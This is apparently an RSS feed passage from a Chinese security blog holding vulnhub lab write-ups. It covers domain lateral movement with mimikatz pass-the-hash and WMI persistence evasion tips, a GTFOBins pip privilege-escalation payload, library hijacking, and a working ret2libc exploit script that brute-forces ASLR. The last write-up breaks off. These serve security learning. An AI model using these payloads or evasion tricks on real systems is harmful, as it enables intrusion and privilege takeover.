&lt;img src=&quot;https://www.dxowo8.top/_astro/6.Bj2gDSN3_1XpXKN.webp&quot; alt=&quot;online&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过C2插件一键抓取域内密码（当前有管理员以上权限），抓到域控的NTLM HASH以及明文密码，先用C2内置的mimikatz进行PTH，向Windows登录会话中注入凭据。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.C9R63c-r_Z2c9Ljj.webp&quot; alt=&quot;mimikatz&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用beacon的jump功能，通过psexec64进行横向移动至域控。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8._-bnEArh_2ihgXI.webp&quot; alt=&quot;jump&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进入交互窗口查看ip，是我们的域控主机，后续按照上面也可以创建wmi订阅等方法进行权限维持。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.B4J_ORhp_Z1QAEFT.webp&quot; alt=&quot;DC&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;WMI订阅指令和原理参考了文章&lt;a href=&quot;https://zhuanlan.zhihu.com/p/659013115&quot;&gt;&apos;https://zhuanlan.zhihu.com/p/659013115&apos;&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;WMI订阅的检测与规避：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;对于蓝队：可通过上面文章中的查询指令来查看机器的过滤器、消费者以及绑定关系，留意消费者的CommandLineTemplate可疑命令，若有异常事件用指令进行清理，并监控 root\subscription 命名空间的变更。&lt;/li&gt;
&lt;li&gt;对于红队：将CommandLineTemplate中的命令编码或拆分，避免明文出现敏感路径、使用ActiveScriptEventConsumer执行更复杂的脚本逻辑、
设置更长的触发间隔减少日志。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;关于上一条提到的ActiveScriptEventConsumer，是另一种消费者类(ASEC)，&lt;a href=&quot;https://blog.csdn.net/QHH_QHH/article/details/49183271&quot;&gt;&apos;https://blog.csdn.net/QHH_QHH/article/details/49183271&apos;&lt;/a&gt;这篇文章有讲解，与本文的CommandLineEventConsumer不同的是该消费者能够执行VBScript和JScript脚本源码（源码上传wmi存储库可以通过编写.mof文件，用mofcomp.exe加载或者用powershell直接创建含脚本源码的实例，这样可以做到无文件落地），该文章利用系统自带的SYSTEM进程scrcons.exe作为脚本宿主进行解析，故脚本执行权限为SYSTEM，唯一缺陷为多一个scrcons.exe进程，但总体上更隐蔽。&lt;/li&gt;
&lt;li&gt;7-8步执行原因：CS的jump psexec64默认使用当前Beacon进程自身访问令牌进行远程认证，虽然是SYSTEM权限但是跨主机访问并没有有效凭证，SMB认证失败，故手动PTH注入后，再次执行jump成功认证DC。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-LupinOne(深度ffuf模糊匹配+私钥解密+pip提权)</title><link>https://www.dxowo8.top/posts/post-25/25/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-25/25/</guid><description>记录LupinOne靶机渗透过程和思路</description><pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-LupinOne(深度ffuf模糊匹配+私钥解密+库劫持+pip提权)&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的LupinOne靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://www.vulnhub.com/entry/empire-lupinone,750/&quot;&gt;&apos;https://www.vulnhub.com/entry/empire-lupinone,750/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.130.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.130.137为靶机。（192.168.130.128为我的kali虚拟机的地址）并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.130.137&lt;/code&gt;，开放22，80端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.DhodvRy0_RsIIK.webp&quot; alt=&quot;scan&amp;amp;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进行详细端口扫描，收集更多信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DxOeng7M_Z2tm1TI.webp&quot; alt=&quot;details&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对于robots.txt进行搜集看看也没有敏感路径。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.DBFijHMn_Z1QRhQI.webp&quot; alt=&quot;rb&quot; /&gt;&lt;/li&gt;
&lt;li&gt;无法访问这个路径，给出ERROR404错误。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.D0l-H8FW_ZJ2aN0.webp&quot; alt=&quot;404&quot; /&gt;&lt;/li&gt;
&lt;li&gt;gobuster爆破没有结果，但是根据之前/~myfiles这样的命名，我们有理由用~FUZZ进行尝试，按照如图指令，指定字典进行爆破，发现一个/~secret，提示用户icex64在这里创建的秘密目录，里面可能有ssh私钥。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.1VqVFGWv_ZWtKp5.webp&quot; alt=&quot;fuff&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用&lt;code&gt;ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.130.137/.FUZZ -t 64 -fs 280 -e .txt,.php,.html,.key&lt;/code&gt;爆破无果，想起可能在~secret目录下，重新修改&lt;code&gt;ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.130.137/~secret/.FUZZ -t 64 -fs 280 -e .txt,.php,.html,.key&lt;/code&gt;，这次发现了.mysecret.txt。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.CzLKfZm__1EALPd.webp&quot; alt=&quot;mysecret&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在大段字符中未见&apos;=&apos;、&apos;O&apos;的字样，特征更像base58编码，经过解密发现是私钥内容，保存为id_rsa（一定注意格式），并且&lt;code&gt;chmod 600 id_rsa&lt;/code&gt;，尝试ssh连接未果，应该是私钥存在加密，然后用ssh2john将私钥元数据提取供后续破解。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.B7_0oMa5_1x9z5a.webp&quot; alt=&quot;ssh2john&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用john指定字典提取（这里根据前面/~secret内容提示选用了字典fasttrack.txt），破解出来密码&lt;code&gt;P@55w0rd!&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.B3NsrCDL_1O8sHp.webp&quot; alt=&quot;john&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用私钥文件，以及破解出来的值连接，获得初始立足点。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.CpOjaZf0_ZQSRPo.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;进行初步环境探测，&lt;code&gt;sudo -l&lt;/code&gt;特权，可以以arsene身份免密执行&lt;code&gt;/usr/bin/python3.9 /home/arsene/heist.py&lt;/code&gt;，这里有个import webbrowser，可以尝试能不能劫持该库。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.Cl9qOqQM_Z1NABtw.webp&quot; alt=&quot;sudol&quot; /&gt;&lt;/li&gt;
&lt;li&gt;很好，这个库我们可以进行修改。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.DsMOe8wY_ZAnskN.webp&quot; alt=&quot;py&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过echo写入这句，尝试新开一个shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.EvfoGasQ_ZNet14.webp&quot; alt=&quot;ossystem&quot; /&gt;&lt;/li&gt;
&lt;li&gt;按照&lt;code&gt;sudo -l&lt;/code&gt;给出的格式执行，我们拿到了arsene的shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.Cl5CbzRv_Z2krRd0.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;li&gt;该用户有pip的sudo权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.2WdmMCvw_1G7TcR.webp&quot; alt=&quot;pip&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在.secret找到一个密码，应该是arsene用户的ssh密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.ePthEt-Y_Zav4Yx.webp&quot; alt=&quot;kw&quot; /&gt;&lt;/li&gt;
&lt;li&gt;去GTFOBINS搜索pip提权利用方式，详细可看图中介绍。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.BGPuKVat_KrWvv.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;li&gt;稍作修改，将两句分别执行，拿到了root的权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.JiQAXj1C_ZCQvEI.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在破解ssh密钥加密时，这次使用了John the Ripper中的ssh2john将密钥转化为可供john破解的内容，那么ssh2john做了什么？&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;对于新格式私钥中，算法的相关参数和校验数据不再以明文形式写在文件头部，而是被封装进了一个结构化的二进制数据包中。在过程中，ssh2john没有进行任何破解，只是解析这些数据，提取出校验用的信息和密文，连同KDF参数一起打包形成John可以攻击的哈希串。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;ssh是如何加密的
当你用密码保护一个SSH私钥时，OpenSSL会执行以下步骤：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;派生密钥：使用你设置的密码aaa，结合一个随机生成的盐，通过一个密钥派生函数，该函数内部使用MD5进行多次哈希迭代，（这里说的MD5是旧的PEM格式，而如本靶机新OpenSSH格式使用更安全的bcrypt或PKCS#5等）生成了一个真正的加密密钥。&lt;/li&gt;
&lt;li&gt;加密私钥：使用上一步生成的密钥，通过对称加密算法将你的私钥明文加密成密文。&lt;/li&gt;
&lt;li&gt;存储校验和：为了在用户输入密码时能快速判断密码是否正确（因此不必解密整个文件），SSH私钥文件中会存储一段校验数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;在GTFOBins上,pip提权还有其它payload如:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;TF=$(mktemp -d)
echo &quot;import os; os.execl(&apos;/bin/sh&apos;, &apos;sh&apos;)&quot; &amp;gt; $TF/setup.py
sudo pip install $TF
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;本靶机利用的pip提权方式旨在构造一个自定义包（包含新建shell的指令），在pip install时则会执行setup.py中的代码，且以调用者权限执行（这里是root）。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>vulnhub靶机-deathstar(无端口突破+Ret2libc+绕过ASLR)</title><link>https://www.dxowo8.top/posts/post-24/24/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-24/24/</guid><description>记录deathstar靶机渗透过程和思路</description><pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-deathstar(无端口突破+Ret2libc+绕过ASLR)&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的deathstar靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/death-star-1,477/&quot;&gt;&apos;https://vulnhub.com/entry/death-star-1,477/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;靶机背景为星球大战电影中的超级武器——死星，很多部分涉及电影内容，但有提示可通过在网络查询获取，对靶机渗透没有多大影响，感兴趣可以了解更多背景故事。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.130.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.130.136为靶机。（192.168.130.128为我的kali虚拟机的地址）并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.130.136&lt;/code&gt;，并未发现开放TCP端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.B66wBN0N_Z1TwPGB.webp&quot; alt=&quot;scan&amp;amp;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对UDP端口开放情况进行探测，可能开放68端口DHCP服务（介绍见文末补充1），没有太大价值。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.VJYt5b1C_Z25XzFK.webp&quot; alt=&quot;UDP&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用tshark（wireshark的命令行版本）捕捉包，保存为owo.pcap，到四个差不多可以结束。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.DTAxYAfE_Z2h5mHW.webp&quot; alt=&quot;tshark&quot; /&gt;&lt;/li&gt;
&lt;li&gt;data段存在信息，但是读起来比较费劲，我们提取出来。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.DphyU6hj_13NzbF.webp&quot; alt=&quot;data&quot; /&gt;&lt;/li&gt;
&lt;li&gt;得到以下提示，一个可能有额外意义的数字1440，一个凭据DS-1@OBS。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.DyHz3871_1p9Iag.webp&quot; alt=&quot;tips&quot; /&gt;&lt;/li&gt;
&lt;li&gt;由于我们UDP仅仅扫描了top100，考虑这个1440是否暗示端口号，进行扫描，确实是开放的。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.Deiwd_Q1_Z249mfm.webp&quot; alt=&quot;1440&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试用nc连接该UDP端口，无法连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.C7sCfGMi_1qpJaV.webp&quot; alt=&quot;nc&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试将凭据&lt;code&gt;DS-1@OBS&lt;/code&gt;通过echo访问该端口，屏幕回显了很大一片字符。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.Boi2PYzl_27rxV5.webp&quot; alt=&quot;echo&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;| tee 存储文件名&lt;/code&gt;将回显内容存储下来。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.Cwugaek1_Z15xA9R.webp&quot; alt=&quot;tee&quot; /&gt;&lt;/li&gt;
&lt;li&gt;发现是jpeg图像格式，改后缀并打开，是该死星蓝图，右下角的代码197719801983很有价值，将其记录下来。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.DhKh-TCb_Z1ge5ye.webp&quot; alt=&quot;jpg&quot; /&gt;&lt;/li&gt;
&lt;li&gt;考虑隐写，使用steghide提取图片，尝试空密码，197719801983，和DS-1@OBS，最后一个成功提取到txt文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.CHp2OMbr_Z2uQmGJ.webp&quot; alt=&quot;steghide&quot; /&gt;&lt;/li&gt;
&lt;li&gt;提示让将unlock code 每次3字符发给10110端口，此为端口敲门技术的方法。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.DA09zl3B_RK0wj.webp&quot; alt=&quot;knock&quot; /&gt;&lt;/li&gt;
&lt;li&gt;下载konckd组件，按照如图语法进行端口敲门，-V显示执行过程，该端口打开，通过扫描发现是ssh服务。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.DPzLQZmY_1kjQYR.webp&quot; alt=&quot;knock&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过root先尝试连接，发现banner部分确有提示，给出用户为erso，密码提示为其妻子firstname+去世年份（按照BBY）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.BhuCdnQk_1NYham.webp&quot; alt=&quot;search&quot; /&gt;&lt;/li&gt;
&lt;li&gt;去网上搜索相关背景内容，找到介绍，拼凑出密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.Dq-IE4OS_1xEp12.webp&quot; alt=&quot;kw&quot; /&gt;&lt;/li&gt;
&lt;li&gt;密码为lyra13，成功连接，拿到初始立足点。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.AlsfJL0G_JQinE.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;收集信息，txt文件给出最终目标是拿到root，读取文件，我们继续尝试提权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.BGfGUpf4_ZFnmvk.webp&quot; alt=&quot;search&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看sudo权限，特权文件，发现一个叫dartVader不符合系统文件命名规范，可能是可利用文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.Q-OumaEG_Z1Evc7.webp&quot; alt=&quot;dartVader&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行给出一段话，像是其它语言，前去翻译。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.DyAP4ieS_Z1Tme07.webp&quot; alt=&quot;execute&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.D-0bnbTf_N6kCs.webp&quot; alt=&quot;tran&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过strings从二进制文件中提取可打印字符串，该文件使用动态链接库，使用函数有strcpy，errx等，考虑可能有缓冲区溢出可能。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.B5Orgrut_1hKuhO.webp&quot; alt=&quot;strings&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过scp（secure copy）将文件通过ssh将文件复制到kali虚拟机本地。
&lt;img src=&quot;https://www.dxowo8.top/_astro/22.JAR79A-k_1b7gvG.webp&quot; alt=&quot;scp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;先安装gdb gdb-peda，使用gdb调试程序，指定用peda.py调试，使用checksec，查看如下配置为：
CANARY（栈溢出哨兵）:disabled,
FORTIFY（函数加强检查）:disabled,
NX（堆栈禁止执行）:ENABLED,
PIE（位置无关可执行文件）:disabled,
RELRO（重定位只读）:Partical。
&lt;img src=&quot;https://www.dxowo8.top/_astro/23.Bpuhn7OE_eTwVX.webp&quot; alt=&quot;checksec&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将汇编可以转化为部分示例C代码（仅供参考）,可见strcpy处理不严谨，可能有缓冲区溢出漏洞。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int main(int argc, char *argv[]) {
    char buffer[64];  
    // 从 sub esp,0x50 和 lea eax,[esp+0x10] 推算
    if (argc == 1) {
        errx(1, &quot;Usage: ...&quot;);  
    // 地址 0x8048520 是错误信息字符串
    }
    // argv[1] 直接拷贝到 buffer，没有长度检查
    strcpy(buffer, argv[1]);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/24.Fp-_NcYA_Zwcr7b.webp&quot; alt=&quot;main&quot; /&gt;
8. 尝试写入字符串，写入100个字符a时程序出错，且GNU_STACK为RW无法执行。
&lt;img src=&quot;https://www.dxowo8.top/_astro/25.CdshysJL_11wRLn.webp&quot; alt=&quot;overflow&quot; /&gt;
9. 用scanelf检查目标程序,权限没有X，notexecute安全机制一定存在。
&lt;img src=&quot;https://www.dxowo8.top/_astro/26.CdKBx6im_Z2c7Aby.webp&quot; alt=&quot;notexecute&quot; /&gt;
10. 验证ASLR机制，&lt;code&gt;ldd /bin/dartVader&lt;/code&gt;(查看可执行文件或共享库所依赖的动态链接库)，看到动态链接库的地址每次都在变。
&lt;img src=&quot;https://www.dxowo8.top/_astro/27.CFTKnTbB_hUBfY.webp&quot; alt=&quot;ASLR&quot; /&gt;
11. 通过&lt;code&gt;readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E &quot;(system|exit)@@&quot;&lt;/code&gt;从libc的符号表中查找system和exit函数的偏移地址（筛选包含system或exit且以@@结尾的行（@@ 表示默认版本））
&lt;img src=&quot;https://www.dxowo8.top/_astro/28.B2H5f8-w_ZKKR5d.webp&quot; alt=&quot;readelf&quot; /&gt;
12. 生成字符串测定偏移值为76，并且验证测定值正确。
&lt;img src=&quot;https://www.dxowo8.top/_astro/29.CBCuc7kU_Z24bUMb.webp&quot; alt=&quot;rooted&quot; /&gt;
13. 再生成一下最新的libc库地址(不过没啥必要)，编写python程序。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from struct import pack
from subprocess import call

offset = b&quot;A&quot; * 76 ##填充 76 个字节的 &apos;A&apos;，用来覆盖到返回地址的位置
libc = 0xb7596000
system = pack(&quot;&amp;lt;I&quot;, libc + 0x00040310)
exit = pack(&quot;&amp;lt;I&quot;, libc + 0x00033260)
sh = pack(&quot;&amp;lt;I&quot;, libc + 0x162d4c)
buffer = offset + system + exit + sh
app = b&quot;/bin/dartVader&quot;

for i in range(1024):
    print(&quot;Attempt %d&quot; % i)
    ret = call([app, buffer])
    if ret == 0:
        print(&quot;Exploit Successful!&quot;)
        break
else:
    print(&quot;Mission Failed&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/30.cqASzB8Q_ZRioLO.webp&quot; alt=&quot;rooted&quot; /&gt;
14. 执行程序，稍作等待后拿到root。
&lt;img src=&quot;https://www.dxowo8.top/_astro/31.DRqVe6eV_Z4Al1l.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;UDP 68端口主要用于动态主机配置协议（DHCP）。DHCP是一种网络管理协议，用于自动分配IP地址和其他网络配置参数，使设备能够在IP网络中进行通信，考虑到虚拟机的网络环境，这个端口的开放没直接有效的利用价值。&lt;/li&gt;
&lt;li&gt;strcpy函数：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;来源：标准 C 库函数（&amp;lt;string.h&amp;gt;）&lt;/li&gt;
&lt;li&gt;作用：将源字符串复制到目标缓冲区，不做长度检查。&lt;/li&gt;
&lt;li&gt;风险：如果src长度超过dest分配的空间，就会发生缓冲区溢出，常见于二进制漏洞利用（栈溢出、ROP 等）。&lt;/li&gt;
&lt;li&gt;在逆向/CTF 中的意义：看到strcpy意味着可能存在栈溢出漏洞。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;对于程序使用checksec可以查看编译时启用或禁用的安全策略，对于checksec的输出结果可参考&lt;a href=&quot;https://zhuanlan.zhihu.com/p/584502713&quot;&gt;&apos;https://zhuanlan.zhihu.com/p/584502713&apos;&lt;/a&gt;，对于本次涉及程序，仅开启NX，意味着不能在栈或堆上执行自己注入的代码，必须改用ROP或ret2libc来调用现有函数完成攻击。（如本次ret2libc的做法：不在栈上执行代码，而是覆盖返回地址为system函数，让程序自己调用libc中的system(&quot;/bin/sh&quot;)）。&lt;/li&gt;
&lt;li&gt;关于利用python程序，由于本程序为32位程序，32位的ASLR随机化范围有限，可以通过碰撞的方式，构造buffer，若基地址刚好正确，则会返回/bin/sh，可以不断尝试运行程序，直到拿到shell，对于64位则很难暴力破解出来，可以通过泄露基地址动态计算，大致原理可以参考 &lt;a href=&quot;https://blog.csdn.net/qq_35544379/article/details/105156252&quot;&gt;&apos;https://blog.csdn.net/qq_35544379/article/details/105156252&apos;&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;还有个很有趣的端口敲门技术，一般用于保护隐藏端口，配置好敲门协议的服务器存在一个守护进程，会记录每个IP地址的端口访问历史，当该ip按顺序访问几个特定端口，服务器会临时修改防火墙开放特定端口，想实操的朋友们可以参考&lt;a href=&quot;https://cloud.tencent.com/developer/article/2572641&quot;&gt;&apos;https://cloud.tencent.com/developer/article/2572641&apos;&lt;/a&gt;,有详细的原理和配置教程。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-myfileserver(文件服务渗透+linpeas使用+脏牛提权)</title><link>https://www.dxowo8.top/posts/post-23/23/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-23/23/</guid><description>记录myfileserver靶机渗透过程和思路</description><pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-myfileserver(文件服务渗透+linpeas使用+脏牛提权)&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的myfileserver靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://www.vulnhub.com/entry/my-file-server-1,432/&quot;&gt;&apos;https://www.vulnhub.com/entry/my-file-server-1,432/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.130.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.130.135为靶机。（192.168.130.128为我的kali虚拟机的地址）并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.130.135&lt;/code&gt;，并对开放端口记录用于后续渗透，发现如图端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.B-SPSms1_1akOJV.webp&quot; alt=&quot;scan&amp;amp;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p21,22,80,111,445,2049,2121,20048 192.168.130.135&lt;/code&gt;，得到端口详细服务内容和系统版本，执行&lt;code&gt;nmap --script=vuln -p21,22,80,111,445,2049,2121,20048 192.168.130.135&lt;/code&gt;用脚本扫一下漏洞，发现一些文件服务端口信息，以及内核版本范围信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.BaoPNvsC_c1g7s.webp&quot; alt=&quot;details&amp;amp;script&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.D6XwbyTL_Z1jzQe2.webp&quot; alt=&quot;details&amp;amp;script&quot; /&gt;&lt;/li&gt;
&lt;li&gt;根据上面详细扫描结果，用anonymous匿名空密码登录ftp。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.DGVX9eUi_ZsbKus.webp&quot; alt=&quot;ftp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试文件下载失败。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.BxkiPKTX_Z1cIqGP.webp&quot; alt=&quot;fail&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用smbmap查看smb服务可访问路径，并用smbclient连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.03s9KID0_1sGAuI.webp&quot; alt=&quot;smb&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将一些看似有用的文件下载下来。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.BAkT6mu1_Z6r4de.webp&quot; alt=&quot;dl&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在secure文件中获得一组凭据。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.Bw631zwq_23P6KV.webp&quot; alt=&quot;secure&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在文件中&lt;code&gt;passwordauthentication:no&lt;/code&gt;得知禁用了ssh密码登录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.CScs14vS_CESLw.webp&quot; alt=&quot;ssh&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过&lt;code&gt;showmount -e ip&lt;/code&gt;显示服务器导出的共享目录列表，和刚才的是一样的。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.2aHsY8aK_Z13IWlb.webp&quot; alt=&quot;nfs&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进行目录爆破，尝试获得更多有用信息，只找到一个readme.txt。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.CAB4kAqh_Z2vdz4S.webp&quot; alt=&quot;gobuster&quot; /&gt;&lt;/li&gt;
&lt;li&gt;readme.txt给出一个密码rootroot1。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.xFqWSaqH_Z1bpiHS.webp&quot; alt=&quot;readme&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试使用rootroot1用作刚才的ftp密码连接，成功连接，并且共享文件夹发现在目标的/home目录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.Dkv3g9HV_1BWoes.webp&quot; alt=&quot;ftp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;关于ssh密钥登录，有这样的配置，该服务器进行公钥认证时，会去读取用户目录下的.ssh/authorized_keys文件，从中找出允许登录该用户的公钥。
